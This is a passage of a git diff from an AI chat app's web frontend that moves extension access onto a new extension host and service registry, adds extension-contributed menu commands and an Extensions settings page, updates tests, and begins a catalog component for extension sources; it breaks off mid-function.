'sonner'@@ -15,6 +15,7 @@ import { useTranslation } from '@/i18n/react-i18next-compat'import { DownloadIcon } from 'lucide-react'import { Button } from '@/components/ui/button'import { formatBytes } from '@/lib/utils'+import { getExtensionHost } from '@/lib/extensions/host'export function DownloadManagement() {const { t } = useTranslation()@@ -171,10 +172,7 @@ export function DownloadManagement() {removeDownload(id)removeLocalDownloadingModel(id)if (id.startsWith('llamacpp') || id.startsWith('mlx')) {- const downloadManager = window.core.extensionManager.getByName(- '@janhq/download-extension'- )- downloadManager.cancelDownload(id)+ getExtensionHost().services.get(ServiceKeys.Downloads)?.cancelDownload(id)} else {serviceHub.models()diff --git a/web-app/src/containers/DropdownModelProvider.tsx b/web-app/src/containers/DropdownModelProvider.tsxindex 14dfa3455..608afe33e 100644--- a/web-app/src/containers/DropdownModelProvider.tsx+++ b/web-app/src/containers/DropdownModelProvider.tsx@@ -285,7 +285,7 @@ const DropdownModelProvider = memo(function DropdownModelProvider({const capabilities = modelItem.capabilities || []const capabilitiesString = capabilities.join(' ')- const providerTitle = getProviderTitle(provider.provider)+ const providerTitle = getProviderTitle(provider)// Create search string with model id, provider, and capabilitiesconst searchStr =@@ -642,8 +642,15 @@ const DropdownModelProvider = memo(function DropdownModelProvider({<div className="flex items-center justify-between px-2 py-1"><div className="flex items-center gap-1.5"><ProvidersAvatar provider={providerInfo} />- <span className="capitalize text-sm font-medium text-muted-foreground">- {getProviderTitle(providerInfo.provider)}+ {/* A display name is shown as its author wrote it;+ only a title derived from an id is capitalised. */}+ <span+ className={cn(+ 'text-sm font-medium text-muted-foreground',+ !providerInfo.display_name && 'capitalize'+ )}+ >+ {getProviderTitle(providerInfo)}</span></div>diff --git a/web-app/src/containers/McpExtensionToolLoader.tsx b/web-app/src/containers/McpExtensionToolLoader.tsxdeleted file mode 100644index 16ee1fb02..000000000--- a/web-app/src/containers/McpExtensionToolLoader.tsx+++ /dev/null@@ -1,44 +0,0 @@-import { ComponentType } from 'react'-import { MCPTool, MCPToolComponentProps } from '@janhq/core'-import { useToolAvailable } from '@/hooks/useToolAvailable'--interface McpExtensionToolLoaderProps {- tools: MCPTool[]- hasActiveMCPServers: boolean- selectedModelHasTools: boolean- MCPToolComponent?: ComponentType<MCPToolComponentProps> | null-}--export const McpExtensionToolLoader = ({- tools,- hasActiveMCPServers,- selectedModelHasTools,- MCPToolComponent,-}: McpExtensionToolLoaderProps) => {- const { isToolDisabled, setToolDisabled } = useToolAvailable()-- const handleToolToggle = (toolName: string, enabled: boolean) => {- const tool = tools.find((t) => t.name === toolName)- if (!tool) return- setToolDisabled(tool.server, toolName, enabled)- }-- const isToolEnabled = (toolName: string): boolean => {- const tool = tools.find((t) => t.name === toolName)- if (!tool) return false- return !isToolDisabled(tool.server, toolName)- }-- // Only render if we have the custom MCP component and conditions are met- if (!selectedModelHasTools || !hasActiveMCPServers || !MCPToolComponent) {- return null- }-- return (- <MCPToolComponent- tools={tools}- isToolEnabled={isToolEnabled}- onToolToggle={handleToolToggle}- />- )-}diff --git a/web-app/src/containers/MessageItem.test.tsx b/web-app/src/containers/MessageItem.test.tsxindex a8b95ecf3..4e1289fc7 100644--- a/web-app/src/containers/MessageItem.test.tsx+++ b/web-app/src/containers/MessageItem.test.tsx@@ -2,6 +2,11 @@ import { describe, it, expect, vi } from 'vitest'import { render, screen } from '@testing-library/react'import { MessageItem } from './MessageItem'import type { UIMessage } from 'ai'+import {+ ContributionStore,+ useContributions,+} from '@/lib/extensions/contributions'+import { manifest } from '@/lib/extensions/__tests__/fixtures'vi.mock('@/i18n/react-i18next-compat', () => ({useTranslation: () => ({ t: (k: string) => k }),@@ -65,3 +70,47 @@ describe('what a turn shows besides its messages', () => {expect(screen.queryByRole('button')).not.toBeInTheDocument()})})++describe('extension message actions', () => {+ const reply = {+ id: 'm2',+ role: 'assistant',+ parts: [{ type: 'text', text: 'hi' }],+ } as UIMessage++ it('offers contributed actions only when the thread is known', () => {+ const registration = new ContributionStore(+ useContributions+ ).registerExtension(+ manifest('acme.msg', {+ contributes: {+ commands: [{ id: 'explain', title: 'Explain' }],+ menus: { 'message/actions': [{ command: 'explain' }] },+ },+ })+ )+ try {+ const { rerender } = render(+ <MessageItem+ message={reply}+ isFirstMessage={false}+ isLastMessage={false}+ status="ready"+ />+ )+ expect(screen.queryByLabelText('extensions:moreActions')).toBeNull()+ rerender(+ <MessageItem+ message={reply}+ isFirstMessage={false}+ isLastMessage={false}+ status="ready"+ threadId="t1"+ />+ )+ expect(screen.getByLabelText('extensions:moreActions')).toBeInTheDocument()+ } finally {+ registration.dispose()+ }+ })+})diff --git a/web-app/src/containers/MessageItem.tsx b/web-app/src/containers/MessageItem.tsxindex 44208f261..773fb54a7 100644--- a/web-app/src/containers/MessageItem.tsx+++ b/web-app/src/containers/MessageItem.tsx@@ -47,6 +47,7 @@ import { useGroundingStore } from '@/stores/grounding-store'import { useWebCitationStore } from '@/stores/web-citation-store'import { WebSourcesRow } from '@/components/WebSourcesRow'import { injectCitationMarkers } from '@/lib/grounding'+import { ContributedOverflowMenu } from '@/containers/extensions/ContributedMenuItems'export type MessageItemProps = {message: UIMessage@@ -73,6 +74,8 @@ export type MessageItemProps = {* e.g. while a continue is pending and re-running would be ambiguous. */hideActions?: booleanhighlightedPrefix?: string | null+ /** The thread the message belongs to; extension message actions need it. */+ threadId?: string}// Footer icon buttons: 28px boxes (a roomier hover highlight at the same pitch@@ -104,6 +107,7 @@ export const MessageItem = memo(versionInfo,onSwitchVersion,highlightedPrefix,+ threadId,}: MessageItemProps) => {const { t } = useTranslation()// Footer controls fade in on hover or keyboard focus. Keyboard only@@ -744,6 +748,18 @@ export const MessageItem = memo(status !== CHAT_STATUS.SUBMITTED && (<DeleteMessageDialog onDelete={handleDelete} />)}++ {threadId && (+ <ContributedOverflowMenu+ location="message/actions"+ context={{+ location: 'message/actions',+ threadId,+ messageId: message.id,+ role: 'user',+ }}+ />+ )}</div>{/* Shown at rest when there are versions, beside copy. */}{versionNav}@@ -821,6 +837,18 @@ export const MessageItem = memo(<IconRefresh size={16} /></Button>)}++ {threadId && (+ <ContributedOverflowMenu+ location="message/actions"+ context={{+ location: 'message/actions',+ threadId,+ messageId: message.id,+ role: 'assistant',+ }}+ />+ )}</div></div>@@ -877,6 +905,7 @@ export const MessageItem = memo(prevProps.isLastMessage === nextProps.isLastMessage &&prevProps.status === nextProps.status &&prevProps.hideActions === nextProps.hideActions &&+ prevProps.threadId === nextProps.threadId &&prevProps.versionInfo?.index === nextProps.versionInfo?.index &&prevProps.versionInfo?.count === nextProps.versionInfo?.count)diff --git a/web-app/src/containers/ProjectFiles.tsx b/web-app/src/containers/ProjectFiles.tsxindex b67d9f599..7c5788410 100644--- a/web-app/src/containers/ProjectFiles.tsx+++ b/web-app/src/containers/ProjectFiles.tsx@@ -13,8 +13,8 @@ import { toast } from 'sonner'import { useServiceHub } from '@/hooks/useServiceHub'import { createDocumentAttachment, type Attachment } from '@/types/attachment'import { useAttachments } from '@/hooks/useAttachments'-import { ExtensionTypeEnum, FileStat, VectorDBExtension } from '@janhq/core'-import { ExtensionManager } from '@/lib/extension'+import { FileStat, ServiceKeys } from '@janhq/core'+import { getExtensionHost } from '@/lib/extensions/host'import { IconLoader2, IconPaperclip } from '@tabler/icons-react'import { useProjectUploads } from '@/stores/project-uploads-store'@@ -320,11 +320,9 @@ export default function ProjectFiles({ projectId, lng }: ProjectFilesProps) {const loadProjectFiles = useCallback(async () => {setLoading(true)try {- const ext = ExtensionManager.getInstance().get<VectorDBExtension>(- ExtensionTypeEnum.VectorDB- )- if (ext?.listAttachmentsForProject) {- const projectFiles = await ext.listAttachmentsForProject(projectId)+ const vectorDB = getExtensionHost().services.get(ServiceKeys.VectorDB)+ if (vectorDB) {+ const projectFiles = await vectorDB.listAttachmentsForProject(projectId)setFiles(projectFiles)} else {setFiles([])@@ -545,11 +543,9 @@ export default function ProjectFiles({ projectId, lng }: ProjectFilesProps) {const handleDeleteFile = async (fileId: string) => {try {- const ext = ExtensionManager.getInstance().get<VectorDBExtension>(- ExtensionTypeEnum.VectorDB- )- if (ext?.deleteFileForProject) {- await ext.deleteFileForProject(projectId, fileId)+ const vectorDB = getExtensionHost().services.get(ServiceKeys.VectorDB)+ if (vectorDB) {+ await vectorDB.deleteFileForProject(projectId, fileId)toast.success(t('common:toast.fileDeleted.title') ?? 'File deleted successfully')diff --git a/web-app/src/containers/ProvidersAvatar.tsx b/web-app/src/containers/ProvidersAvatar.tsxindex 992da51e8..3264b9d5c 100644--- a/web-app/src/containers/ProvidersAvatar.tsx+++ b/web-app/src/containers/ProvidersAvatar.tsx@@ -6,7 +6,7 @@ const ProvidersAvatar = ({ provider }: { provider: ProviderObject }) => {{getProviderLogo(provider.provider) === undefined ? (<div className="flex size-4.5 rounded-full border items-center justify-center"><p className="text-xs leading-0 capitalize">- {getProviderTitle(provider.provider).charAt(0)}+ {getProviderTitle(provider).charAt(0)}</p></div>) : (diff --git a/web-app/src/containers/SettingsMenu.tsx b/web-app/src/containers/SettingsMenu.tsxindex 02fee4c95..fb8fa1cf3 100644--- a/web-app/src/containers/SettingsMenu.tsx+++ b/web-app/src/containers/SettingsMenu.tsx@@ -18,6 +18,7 @@ import {IconWorldSearch,IconFolderCode,IconPaperclip,+ IconPuzzle,} from '@tabler/icons-react'import { useMatches, useNavigate } from '@tanstack/react-router'import { cn } from '@/lib/utils'@@ -137,7 +138,7 @@ const SettingsMenu = () => {><ProvidersAvatar provider={provider} /><div className="truncate flex-1">- <span>{getProviderTitle(provider.provider)}</span>+ <span>{getProviderTitle(provider)}</span></div></div>)@@ -222,6 +223,11 @@ const SettingsMenu = () => {icon: IconCpu,},{ title: 'common:privacy', route: route.settings.privacy, icon: IconLock },+ {+ title: 'common:extensions',+ route: route.settings.extensions,+ icon: IconPuzzle,+ },]const integrationSettings = [@@ -358,7 +364,7 @@ const SettingsMenu = () => {><ProvidersAvatar provider={provider} /><div className="truncate flex-1">- <span>{getProviderTitle(provider.provider)}</span>+ <span>{getProviderTitle(provider)}</span></div></div>)diff --git a/web-app/src/containers/ThreadList.tsx b/web-app/src/containers/ThreadList.tsxindex be4cbe8c6..255b07e05 100644--- a/web-app/src/containers/ThreadList.tsx+++ b/web-app/src/containers/ThreadList.tsx@@ -30,6 +30,7 @@ import { RenameThreadDialog, DeleteThreadDialog } from '@/containers/dialogs'import { toast } from 'sonner'import { cn } from '@/lib/utils'import { ThreadMessage } from '@janhq/core'+import { ContributedMenuItems } from '@/containers/extensions/ContributedMenuItems'const ThreadItem = memo(({@@ -250,6 +251,11 @@ const ThreadItem = memo(</DropdownMenuItem></>)}+ <ContributedMenuItems+ location="thread/context"+ context={{ location: 'thread/context', threadId: thread.id }}+ separator+ /><DropdownMenuSeparator /><DropdownMenuItemdata-testid="thread-delete"diff --git a/web-app/src/containers/__tests__/ChatInput.test.tsx b/web-app/src/containers/__tests__/ChatInput.test.tsxindex 59201fddb..709005f75 100644--- a/web-app/src/containers/__tests__/ChatInput.test.tsx+++ b/web-app/src/containers/__tests__/ChatInput.test.tsx@@ -225,20 +225,8 @@ vi.mock('@/stores/message-queue-store', () => ({useMessageQueue: useMessageQueueImpl,}))-vi.mock('@/lib/extension', () => ({- ExtensionManager: {- getInstance: () => ({- get: () => undefined,- getByName: () => undefined,- listExtensions: () => [],- }),- },-}))-vi.mock('@janhq/core', () => ({- ExtensionTypeEnum: { MCP: 'mcp', VectorDB: 'vectordb' },- MCPExtension: class {},- VectorDBExtension: class {},+ ServiceKeys: { VectorDB: { id: 'vector-db' } },fs: {existsSync: vi.fn().mockResolvedValue(false),readFile: vi.fn().mockResolvedValue(''),@@ -274,9 +262,6 @@ vi.mock('@/containers/DropdownToolsAvailable', () => ({vi.mock('@/containers/AvatarEmoji', () => ({AvatarEmoji: () => <span data-testid="stub-avatar" />,}))-vi.mock('@/containers/McpExtensionToolLoader', () => ({- McpExtensionToolLoader: () => null,-}))vi.mock('@/containers/dialogs/JanBrowserExtensionDialog', () => ({__esModule: true,default: () => null,diff --git a/web-app/src/containers/__tests__/DownloadManegement.test.tsx b/web-app/src/containers/__tests__/DownloadManegement.test.tsxindex 5ce6592fd..6e91e987e 100644--- a/web-app/src/containers/__tests__/DownloadManegement.test.tsx+++ b/web-app/src/containers/__tests__/DownloadManegement.test.tsx@@ -57,6 +57,7 @@ vi.mock('@tanstack/react-router', () => ({}))vi.mock('@janhq/core', () => ({+ ServiceKeys: { Downloads: { id: 'downloads' } },DownloadEvent: {onFileDownloadUpdate: 'fdu',onFileDownloadError: 'fde',@@ -102,12 +103,17 @@ vi.mock('@/constants/routes', () => ({route: { settings: { general: '/settings/general' } },}))-// @ts-expect-error — test shim for window.core used by cancel branch-window.core = {- extensionManager: {- getByName: () => ({ cancelDownload: hoisted.cancelDownloadMock }),- },-}+// The cancel branch for llamacpp/mlx tasks goes to the host Downloads service.+vi.mock('@/lib/extensions/host', () => ({+ getExtensionHost: () => ({+ services: {+ get: (key: { id: string }) =>+ key.id === 'downloads'+ ? { cancelDownload: hoisted.cancelDownloadMock }+ : undefined,+ },+ }),+}))import { DownloadManagement } from '../DownloadManegement'import { useAppUpdateDownload } from '@/stores/app-update-download-store'@@ -173,7 +179,7 @@ describe('DownloadManagement', () => {expect(screen.getByText('50%')).toBeInTheDocument()})- it('cancels llamacpp download via extension manager', () => {+ it('cancels llamacpp download via the Downloads service', () => {hoisted.downloadStore.downloads = {'llamacpp/foo': {name: 'llamacpp/foo',diff --git a/web-app/src/containers/__tests__/DropdownModelProvider.displayName.test.tsx b/web-app/src/containers/__tests__/DropdownModelProvider.displayName.test.tsxindex 185acc3ab..280f45f5d 100644--- a/web-app/src/containers/__tests__/DropdownModelProvider.displayName.test.tsx+++ b/web-app/src/containers/__tests__/DropdownModelProvider.displayName.test.tsx@@ -249,6 +249,42 @@ describe('DropdownModelProvider - Display Name Integration', () => {expect(mockSelectedModel.id).toBe('model1.gguf')})+ it('titles an extension provider group by its display name, not its raw id', () => {+ const extensionProvider = {+ provider: 'jan-samples.hello-provider/hello-local',+ display_name: 'Hello Local',+ active: true,+ api_key: 'sk-ext',+ models: [{ id: 'hello-1', capabilities: ['completion'] }],+ settings: [],+ source: {+ extensionId: 'jan-samples.hello-provider',+ extensionName: 'Hello Provider',+ },+ }+ const providers = [...mockProviders, extensionProvider]+ vi.mocked(useModelProvider).mockReturnValue({+ providers,+ selectedProvider: 'llamacpp',+ selectedModel: mockSelectedModel,+ getProviderByName: vi.fn((name: string) =>+ providers.find((p: ModelProvider) => p.provider === name)+ ),+ selectModelProvider: vi.fn(),+ getModelBy: vi.fn((id: string) =>+ mockProviders[0].models.find((m: Model) => m.id === id)+ ),+ updateProvider: vi.fn(),+ } as MockHookReturn)++ render(<DropdownModelProvider />)++ expect(screen.getByText('Hello Local')).toBeInTheDocument()+ expect(+ screen.queryByText(/Jan-samples\.hello-provider/i)+ ).not.toBeInTheDocument()+ })+it('should handle updating display model when selection changes', () => {// Set up mock for model2 selectionvi.mocked(useModelProvider).mockReturnValue({diff --git a/web-app/src/containers/__tests__/ProjectFiles.test.tsx b/web-app/src/containers/__tests__/ProjectFiles.test.tsxindex 6f27a78ba..4c4583ee2 100644--- a/web-app/src/containers/__tests__/ProjectFiles.test.tsx+++ b/web-app/src/containers/__tests__/ProjectFiles.test.tsx@@ -26,17 +26,16 @@ const hoisted = vi.hoisted(() => ({deleteFileForProjectMock: vi.fn(),ingestFileAttachmentForProjectMock: vi.fn(),dialogOpenMock: vi.fn(),- extMock: {} as any,+ vectorDB: undefined as+ | { listAttachmentsForProject: unknown; deleteFileForProject: unknown }+ | undefined,}))-hoisted.extMock.listAttachmentsForProject = hoisted.listAttachmentsForProjectMock-hoisted.extMock.deleteFileForProject = hoisted.deleteFileForProjectMockconst {listAttachmentsForProjectMock,deleteFileForProjectMock,ingestFileAttachmentForProjectMock,dialogOpenMock,- extMock,} = hoistedconst attachmentsStateRef = hoisted // alias for later mutation@@ -67,12 +66,9 @@ vi.mock('@/stores/project-uploads-store', () => ({}),}))-vi.mock('@/lib/extension', () => ({- ExtensionManager: {- getInstance: () => ({- get: () => hoisted.extMock,- }),- },+// The VectorDB service as the host's service registry returns it.+vi.mock('@/lib/extensions/host', () => ({+ getExtensionHost: () => ({ services: { get: () => hoisted.vectorDB } }),}))const coreHoisted = vi.hoisted(() => ({@@ -81,8 +77,7 @@ const coreHoisted = vi.hoisted(() => ({}))const { fileStatMock, readdirSyncMock } = coreHoistedvi.mock('@janhq/core', () => ({- ExtensionTypeEnum: { VectorDB: 'vectordb' },- VectorDBExtension: class {},+ ServiceKeys: { VectorDB: { id: 'vector-db' } },fs: {fileStat: coreHoisted.fileStatMock,readdirSync: coreHoisted.readdirSyncMock,@@ -113,8 +108,10 @@ describe('ProjectFiles', () => {beforeEach(() => {vi.clearAllMocks()attachmentsStateRef.attachmentsState = { enabled: true, maxFileSizeMB: 10 }- extMock.listAttachmentsForProject = listAttachmentsForProjectMock- extMock.deleteFileForProject = deleteFileForProjectMock+ hoisted.vectorDB = {+ listAttachmentsForProject: listAttachmentsForProjectMock,+ deleteFileForProject: deleteFileForProjectMock,+ }listAttachmentsForProjectMock.mockResolvedValue([])fileStatMock.mockReset().mockResolvedValue({ isDirectory: false, size: 100 })readdirSyncMock.mockReset().mockResolvedValue([])@@ -150,8 +147,8 @@ describe('ProjectFiles', () => {expect(screen.getAllByText('notes.txt').length).toBeGreaterThan(0)})- it('falls back to empty list when extension is missing', async () => {- extMock.listAttachmentsForProject = undefined+ it('falls back to empty list when the VectorDB service is missing', async () => {+ hoisted.vectorDB = undefinedrender(<ProjectFiles projectId="p1" lng="en" />)await waitFor(() =>expect(screen.getByText('common:projects.filesDescription')).toBeInTheDocument()diff --git a/web-app/src/containers/__tests__/SettingsMenu.test.tsx b/web-app/src/containers/__tests__/SettingsMenu.test.tsxindex 14d63c382..182ba54bc 100644--- a/web-app/src/containers/__tests__/SettingsMenu.test.tsx+++ b/web-app/src/containers/__tests__/SettingsMenu.test.tsx@@ -65,7 +65,7 @@ vi.mock('@/containers/dialogs', () => ({vi.mock('@/lib/utils', async (importOriginal) => ({...(await importOriginal<typeof import('@/lib/utils')>()),cn: (...args: any[]) => args.filter(Boolean).join(' '),- getProviderTitle: (provider: string) => provider,+ getProviderTitle: (provider: { provider: string }) => provider.provider,isLocalProvider: (provider: string) =>provider === 'llama.cpp' || provider === 'mlx',}))@@ -131,6 +131,14 @@ describe('SettingsMenu', () => {expect(screen.getByText('common:general')).toBeInTheDocument()})+ it('links to the Extensions settings page', () => {+ render(<SettingsMenu />)+ expect(screen.getByText('common:extensions').closest('a')).toHaveAttribute(+ 'href',+ '/settings/extensions'+ )+ })+it('renders integrations links', () => {render(<SettingsMenu />)expect(screen.getByText('common:mcp-servers')).toBeInTheDocument()diff --git a/web-app/src/containers/__tests__/ThreadList.test.tsx b/web-app/src/containers/__tests__/ThreadList.test.tsxindex 793964798..f8ebd1496 100644--- a/web-app/src/containers/__tests__/ThreadList.test.tsx+++ b/web-app/src/containers/__tests__/ThreadList.test.tsx@@ -29,6 +29,7 @@ vi.mock('@/hooks/useThreads', () => ({vi.mock('@/hooks/useMessages', () => ({useMessages: (selector: any) =>selector({+ messages: {},getMessages: () => [],setMessages: vi.fn(),}),diff --git a/web-app/src/containers/dialogs/AddModel.tsx b/web-app/src/containers/dialogs/AddModel.tsxindex 8f427c8e6..08af1fa44 100644--- a/web-app/src/containers/dialogs/AddModel.tsx+++ b/web-app/src/containers/dialogs/AddModel.tsx@@ -93,7 +93,7 @@ export const DialogAddModel = ({ provider, trigger }: DialogAddModelProps) => {<DialogTitle>{t('providers:addModel.title')}</DialogTitle><DialogDescription>{t('providers:addModel.description', {- provider: getProviderTitle(provider.provider),+ provider: getProviderTitle(provider),})}</DialogDescription></DialogHeader>@@ -129,7 +129,7 @@ export const DialogAddModel = ({ provider, trigger }: DialogAddModelProps) => {><span>{t('providers:addModel.exploreModels', {- provider: getProviderTitle(provider.provider),+ provider: getProviderTitle(provider),})}</span></ExternalAnchor>diff --git a/web-app/src/containers/dialogs/ImportMlxModelDialog.tsx b/web-app/src/containers/dialogs/ImportMlxModelDialog.tsxindex 3520655f6..90cd76139 100644--- a/web-app/src/containers/dialogs/ImportMlxModelDialog.tsx+++ b/web-app/src/containers/dialogs/ImportMlxModelDialog.tsx@@ -14,7 +14,7 @@ import {IconLoader2,IconCheck,} from '@tabler/icons-react'-import { ExtensionManager } from '@/lib/extension'+import { EngineManager } from '@janhq/core'type ImportMlxModelDialogProps = {provider: ModelProvider@@ -89,7 +89,7 @@ export const ImportMlxModelDialog = ({console.log('[MLX Import] Starting import:', { modelName, selectedPath })// Get the MLX engine and call its import method- const engine = ExtensionManager.getInstance().getEngine('mlx')+ const engine = EngineManager.instance().get('mlx')if (!engine) {throw new Error('MLX engine not found')}diff --git a/web-app/src/containers/dialogs/SearchDialog.tsx b/web-app/src/containers/dialogs/SearchDialog.tsxindex c2a01e34f..ce0a21ec6 100644--- a/web-app/src/containers/dialogs/SearchDialog.tsx+++ b/web-app/src/containers/dialogs/SearchDialog.tsx@@ -12,12 +12,17 @@ import {IconHistory,IconCirclePlus,IconFolder,+ IconCommand,} from '@tabler/icons-react'import { useThreads } from '@/hooks/useThreads'import { localStorageKey } from '@/constants/localStorage'import { useTranslation } from '@/i18n/react-i18next-compat'import { cn } from '@/lib/utils'import { VisuallyHidden } from '@radix-ui/react-visually-hidden'+import { useContributedMenuItems } from '@/containers/extensions/menuItems'+import { useExecuteCommand } from '@/containers/extensions/useExecuteCommand'++const PALETTE_CONTEXT = { location: 'commandPalette' } as constconst MAX_RECENT_SEARCHES = 5@@ -37,6 +42,8 @@ export function SearchDialog({ open, onOpenChange }: SearchDialogProps) {const threads = useThreads((state) => state.threads)const getFilteredThreads = useThreads((state) => state.getFilteredThreads)+ const paletteItems = useContributedMenuItems('commandPalette', PALETTE_CONTEXT)+ const executeCommand = useExecuteCommand()// Focus input when dialog opensuseEffect(() => {@@ -132,9 +139,24 @@ export function SearchDialog({ open, onOpenChange }: SearchDialogProps) {return { withProject, withoutProject }}, [searchQuery, getFilteredThreads])+ // Extension commands listed in the palette, matched on title, category+ // and extension name.+ const commands = useMemo(() => {+ const query = searchQuery.trim().toLowerCase()+ if (!query) return paletteItems+ return paletteItems.filter((item) =>+ [item.title, item.category, item.extensionName].some((field) =>+ field?.toLowerCase().includes(query)+ )+ )+ }, [paletteItems, searchQuery])+// Calculate all selectable items for keyboard navigationconst allItems = useMemo(() => {- const items: Array<{ type: 'new' | 'recent' | 'result'; id: string }> = []+ const items: Array<{+ type: 'new' | 'recent' | 'result' | 'command'+ id: string+ }> = []if (!searchQuery) {// Start new chat option@@ -153,9 +175,16 @@ export function SearchDialog({ open, onOpenChange }: SearchDialogProps) {items.push({ type: 'result', id: thread.id })})}+ commands.forEach((item) => {+ items.push({+ type: 'command',+ id: `${item.extensionId}/${item.commandId}`,+ })+ })return items- }, [searchQuery, recentSearches, searchResults])+ }, [searchQuery, recentSearches, searchResults, commands])+ const firstCommandIndex = allItems.length - commands.length// Reset selected index when items changeuseEffect(() => {@@ -185,6 +214,8 @@ export function SearchDialog({ open, onOpenChange }: SearchDialogProps) {if (selectedItem) {if (selectedItem.type === 'new') {handleStartNewChat()+ } else if (selectedItem.type === 'command') {+ handleRunCommand(selectedIndex - firstCommandIndex)} else {handleSelectThread(selectedItem.id)}@@ -197,10 +228,18 @@ export function SearchDialog({ open, onOpenChange }: SearchDialogProps) {navigate({ to: '/' })}+ const handleRunCommand = (index: number) => {+ const item = commands[index]+ if (!item) return+ handleClose()+ void executeCommand(item.extensionId, item.commandId, PALETTE_CONTEXT)+ }+const showStartNewChat = !searchQueryconst hasResults =searchResults.withProject.length > 0 ||- searchResults.withoutProject.length > 0+ searchResults.withoutProject.length > 0 ||+ commands.length > 0return (<Dialog open={open} onOpenChange={onOpenChange}>@@ -345,6 +384,44 @@ export function SearchDialog({ open, onOpenChange }: SearchDialogProps) {})}</div>)}++ {/* Commands contributed by extensions */}+ {commands.length > 0 && (+ <div className="p-1">+ <div className="px-3 pt-1.5 mb-2">+ <span className="text-xs font-medium text-muted-foreground">+ {t('extensions:commands')}+ </span>+ </div>+ {commands.map((item, index) => {+ const itemIndex = firstCommandIndex + index+ return (+ <button+ key={`${item.extensionId}/${item.commandId}`}+ data-index={itemIndex}+ onClick={() => handleRunCommand(index)}+ className={cn(+ 'w-full flex items-center gap-2 px-3 py-2 rounded-md text-left hover:bg-secondary/60 transition-colors cursor-pointer',+ selectedIndex === itemIndex && 'bg-secondary/50'+ )}+ >+ <IconCommand className="size-4 text-muted-foreground shrink-0" />+ <span className="text-sm truncate">+ {item.category+ ? t('extensions:categorizedCommand', {+ category: item.category,+ title: item.title,+ })+ : item.title}+ </span>+ <span className="ml-auto pl-2 text-xs text-muted-foreground truncate">+ {item.extensionName}+ </span>+ </button>+ )+ })}+ </div>+ )}</div>{/* Footer with keyboard hints */}diff --git a/web-app/src/containers/dialogs/__tests__/ImportMlxModelDialog.test.tsx b/web-app/src/containers/dialogs/__tests__/ImportMlxModelDialog.test.tsxnew file mode 100644index 000000000..3bd949770--- /dev/null+++ b/web-app/src/containers/dialogs/__tests__/ImportMlxModelDialog.test.tsx@@ -0,0 +1,56 @@+import { describe, it, expect, vi, beforeEach } from 'vitest'+import { render, screen, fireEvent, waitFor } from '@testing-library/react'+import '@testing-library/jest-dom'+import { EngineManager, type AIEngine } from '@janhq/core'++const hoisted = vi.hoisted(() => ({+ dialogOpen: vi.fn(),+ toast: { success: vi.fn(), error: vi.fn() },+}))++vi.mock('sonner', () => ({ toast: hoisted.toast }))+vi.mock('@/hooks/useServiceHub', () => {+ const hub = { dialog: () => ({ open: hoisted.dialogOpen }) }+ return { useServiceHub: () => hub, getServiceHub: () => hub }+})++import { ImportMlxModelDialog } from '../ImportMlxModelDialog'++const provider = { models: [] } as unknown as ModelProvider++async function importFolder() {+ render(+ <ImportMlxModelDialog provider={provider} trigger={<button>Open</button>} />+ )+ fireEvent.click(screen.getByText('Open'))+ hoisted.dialogOpen.mockResolvedValue('/models/my-mlx')+ fireEvent.click(await screen.findByText("Select Model Folder"))+ await screen.findByText('Change')+ fireEvent.click(screen.getByText('Import Model'))+}++describe('ImportMlxModelDialog', () => {+ beforeEach(() => vi.clearAllMocks())++ it('imports through the mlx engine the engine manager holds', async () => {+ const manager = new EngineManager()+ const engine = { provider: 'mlx', import: vi.fn().mockResolvedValue(undefined) }+ manager.register(engine as unknown as AIEngine)+ vi.spyOn(EngineManager, 'instance').mockReturnValue(manager)++ await importFolder()++ await waitFor(() =>+ expect(engine.import).toHaveBeenCalledWith('my-mlx', {+ modelPath: '/models/my-mlx',+ })+ )+ expect(hoisted.toast.success).toHaveBeenCalled()+ })++ it('reports an error when no mlx engine is registered', async () => {+ vi.spyOn(EngineManager, 'instance').mockReturnValue(new EngineManager())+ await importFolder()+ await waitFor(() => expect(hoisted.toast.error).toHaveBeenCalled())+ })+})diff --git a/web-app/src/containers/extensions/CatalogList.tsx b/web-app/src/containers/extensions/CatalogList.tsxnew file mode 100644index 000000000..88de958ef--- /dev/null+++ b/web-app/src/containers/extensions/CatalogList.tsx@@ -0,0 +1,547 @@+import { useCallback, useEffect, useId, useState } from 'react'+import { IconTrash } from '@tabler/icons-react'+import { Button } from '@/components/ui/button'+import {+ Dialog,+ DialogContent,+ DialogDescription,+ DialogFooter,+ DialogHeader,+ DialogTitle,+} from '@/components/ui/dialog'+import { Card } from '@/containers/Card'+import { Input } from '@/components/ui/input'+import { Label } from '@/components/ui/label'+import { useTranslation } from '@/i18n/react-i18next-compat'+import {+ compareVersions,+ latestVersion,+ validateSource,+ type SourceErrors,+} from '@/lib/extensions/index-sources'+import type {+ Catalog,+ IndexExtension,+ IndexSource,+ InstalledExtension,+ RemovedPin,+ SourcesNotice,+ StagedInstall,+} from '@/services/extensions/types'+import { UnsignedSourceBadge } from './TrustBadge'+import { errorMessage, type InstalledRegistry } from './useExtensions'++type Begin = (+ stage: () => Promise<StagedInstall>,+ sourceName?: string+) => Promise<void>++function Field({+ label,+ value,+ onChange,+ error,+}: {+ label: string+ value: string+ onChange: (value: string) => void+ error?: string+}) {+ const id = useId()+ return (+ <div className="flex flex-col gap-1">+ <Label htmlFor={id} className="text-xs">+ {label}+ </Label>+ <Input+ id={id}+ value={value}+ aria-invalid={error !== undefined}+ onChange={(e) => onChange(e.target.value)}+ />+ {error && <span className="text-xs text-destructive">{error}</span>}+ </div>+ )+}++// The plugin stores a source URL as the WHATWG URL serializes it.+const sameUrl = (a: string, b: string) => {+ try {+ return new URL(a.trim()).href === new URL(b).href+ } catch {+ return false+ }+}++function AddSourceForm({+ removedPins,+ onAdd,+}: {+ /** Keys of removed keyed sources: re-adding one without a key warns. */+ removedPins: RemovedPin[]+ onAdd: (url: string, name: string, publicKey?: string) => Promise<void>+}) {+ const { t } = useTranslation()+ const [url, setUrl] = useState('')+ const [name, setName] = useState('')+ const [publicKey, setPublicKey] = useState('')+ const [errors, setErrors] = useState<SourceErrors>({})+ // The removed pin the user was warned about for the URL as typed; a+ // second press of Add with the same URL goes ahead without a key.+ const [warned, setWarned] = useState<RemovedPin>()+ const err = (code?: string) =>+ code ? t(`extensions:sources.errors.${code}`) : undefined++ const changeUrl = (value: string) => {+ setUrl(value)+ setWarned(undefined)+ }++ const submit = async () => {+ const found = validateSource({ url, name, publicKey })+ setErrors(found)+ if (Object.keys(found).length > 0) return+ const key = publicKey.trim() || undefined+ const pin = key ? undefined : removedPins.find((p) => sameUrl(url, p.url))+ if (pin && warned !== pin) {+ 